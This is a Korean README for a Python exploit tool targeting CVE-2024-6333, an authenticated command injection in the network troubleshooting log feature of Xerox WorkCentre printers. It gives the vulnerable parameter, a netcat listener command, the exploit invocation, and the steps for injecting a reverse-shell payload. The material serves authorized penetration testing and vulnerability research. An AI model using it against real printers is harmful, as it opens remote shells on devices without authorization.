CVE-2024-6333 - 제록스 인증된 원격 코드 실행

제록스 WorkCentre 프린터의 네트워크 문제 해결 로그 기능을 통한 인증된 원격 코드 실행 취약점입니다.

설명

네트워크 문제 해결 로그 기능(/properties/security/network_troubleshooting_log.php)은 대상 서버 매개변수(security.nwtroubleshoot.destination.server)를 적절히 검증하지 않아, 인증된 관리자가 임의의 OS 명령을 주입할 수 있습니다. 네트워크 로그 캡처가 시작되면 주입된 페이로드가 셸 명령으로 실행되어 원격 코드 실행으로 이어집니다.

영향을 받는 제품

• XEROX WorkCentre 6655 (펌웨어 073.110.019.14200에서 테스트됨)
• 기타 여러 제록스 프린터 모델 (권고문 참조)

참조

• https://sec-consult.com/vulnerability-lab/advisory/authenticated-remote-code-execution-in-multiple-xerox-printers/
• https://nvd.nist.gov/vuln/detail/CVE-2024-6333

요구 사항

• Python 3
• 대상 프린터의 유효한 관리자 자격 증명
• 대상에 대한 네트워크 접근

설치

pip install -r requirements.txt

사용법

사용자 머신에서 리스너를 시작하십시오:

nc -lvnp 8443

익스플로잇 실행:

python3 CVE-2024-6333.py --target https://<PRINTER_IP> --lhost <YOUR_IP> --lport 8443

인자

작동 방식

1. 제공된 자격 증명을 사용하여 프린터의 웹 인터페이스에 인증합니다.
2. 기존 네트워크 문제 해결 로그 세션을 중지합니다.
3. 대상 서버 필드에 리버스 셸 페이로드를 주입합니다.
4. 네트워크 로그 캡처를 트리거하여 페이로드를 실행합니다.
5. 30초를 기다린 후 정리/중지 명령을 보냅니다.

면책 조항

이 도구는 공인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.